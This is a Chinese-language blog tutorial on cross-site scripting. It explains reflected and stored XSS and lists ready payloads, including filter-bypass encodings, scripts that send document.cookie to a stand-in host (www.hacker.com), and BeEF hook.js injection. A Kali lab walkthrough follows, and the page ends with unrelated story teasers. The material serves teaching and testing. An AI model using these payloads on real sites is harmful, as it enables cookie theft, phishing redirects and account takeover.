XSS跨站攻防安全

1.XSS简介

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。 
XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢? 
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页 面中去。使别的用户访问都会执行相应的嵌入代码。 
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。 XSS攻击的危害包括: 
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 
3、盗窃企业重要的具有商业价值的资料 
4、非法转账 
5、强制发送电子邮件 
6、网站挂马 
7、控制受害者机器向其它网站发起攻击
XSS主要原因: 
过于信任客户端提交的数据! 
XSS主要分类: 

反射型xss攻击(Reflected XSS) 又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因
是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用
户的点击)。 

存储型XSS(Stored XSS) 又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网
站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS
攻击危害性更大, 因为每当用户打开页面,查看内容时脚本将自动执行。

2.构造XSS脚本

常用HTML标签

<iframe>             iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
 <textarea>         <textarea> 标签定义多行的文本输入控件。 
 <img>          img 元素向网页中嵌入一幅图像。 
 <script>       <script> 标签用于定义客户端脚本,比如 JavaScript。 
                        script 元素既可以包含脚本语句,也可以通过 src 属性指向外部脚本文件。 
                        必需的 type 属性规定脚本的 MIME 类型。 
                        JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。

常用JavaScript方法

alert                           alert() 方法用于显示带有一条指定消息和一个 确认 按钮的警告框 
window.location             window.location 对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。 location.href                返回当前显示的文档的完整 URL 
onload                      一张页面或一幅图像完成加载 
onsubmit                    确认按钮被点击 
onerror                         在加载文档或图像时发生错误

构造XSS脚本

弹框警告 此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号', 一旦此脚
本能执行,也就意 味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏
洞。 
<script>alert('xss')</script>       #会弹出一个xss的小框
<script>alert(document.cookie)</script>

页面嵌套 
<iframe src=http://www.baidu.com width=300 height=300></iframe>   
#会显示出一个长宽都是300的百度页面,你可以设置为其它页面的url
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

页面重定向 
<script>window.location="http://www.baidu.com"</script>  #跳转到百度界面
<script>location.href="http://www.baidu.com"</script>

弹框警告并重定向 
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script> 
<script>alert('xss');location.href="http://www.baidu.com"</script> 
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了
这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)

访问恶意代码 
<script src="http://www.baidu.com/xss.js"></script> 
<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie 

巧用图片标签 
<img src="#" onerror=alert('xss')> 
<img src="javascript:alert('xss');"> 
<img src="http://BeEF_IP:3000/hook.js"></img> 

绕开过滤的脚本 
大小写 <ScrIpt>alert('xss')</SCRipt> 
字符编码 采用URL、Base64等编码 
<a
href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116 ;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">yjssjm</a> 

收集用户cookie 
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页。 
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script> 
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script> 
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script> 
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img> 
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie"; img.width = 0; 
img.height = 0; 
</script>

上面这些代码下面会有实验来一一解释,反射型xss和存储型xss都能用。

3.反射型XSS

简单来说反射型就是临时的xss,只有别人把该链接发给你,你点开之后才会中圈套。但是你不点开,正常的去访问该网站是没什么问题的。
这里我们用kali当做被下套的客户端,将我们做好的xss的链接地址复制到kali里面自带的浏览器上

弹框警告: 
<script>alert('yjssjm')</script>
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

所以,反射型xss只要我们不打开别人发的链接,自己去访问该页面是没有什么问题的。

页面重定向 
<script>window.location="http://www.baidu.com"</script>  #跳转到百度界面

直接跳转到百度界面


在这里插入图片描述
页面嵌套 
<iframe src=http://www.baidu.com width=300 height=300></iframe>
在这里插入图片描述

4.存储型XSS

存储型XSS(持久型XSS)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等; 用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。
简单来说,就是知道你访问这个网站中带有xss的区域就会中套。

弹框告警: 
text1
<script>alert('yjssjm')</script>
在这里插入图片描述

在这里插入图片描述

然后我们去kali上面打开


在这里插入图片描述

在这里插入图片描述

这几乎是存储型xss,在某个区域,只要你点开就会中了别人下的圈套。

5.自动化xss

我们这里用到kali里面自带的BeEF(牛)软件,用来实现自动化xss

启动Apache和BeEF: 
root@kali:~# service apache2 start

然后打开BeEF


在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
<script src="http://192.168.13.145:3000/hook.js"></script> 
注:192.168.13.145为BeEF所在机器,即Kali Linux IP
在这里插入图片描述

你会发现我们的代码没法完全复制进去,是因为网页给我们限制了字数,我们需要去修改一下


在这里插入图片描述

然后我们去kali里面登录BeEF:
username: beef
password: beef


在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
命令颜色(Color): 
绿色 对目标主机生效并且不可见(不会被发现) 
橙色 对目标主机生效但可能可见(可能被发现) 
灰色 对目标主机未必生效(可验证下) 
红色 对目标主机不生效
在这里插入图片描述

这里面我们就可以对目标靶机进行各种操作,不用写代码,内部已经设置好了代码,我们只需要点点点,特别方便。

你们的评论和点赞是我写文章的最大动力,蟹蟹。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,826评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,968评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,234评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,562评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,611评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,482评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,271评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,166评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,608评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,814评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,926评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,644评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,249评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,866评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,991评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,063评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,871评论 2 354

推荐阅读更多精彩内容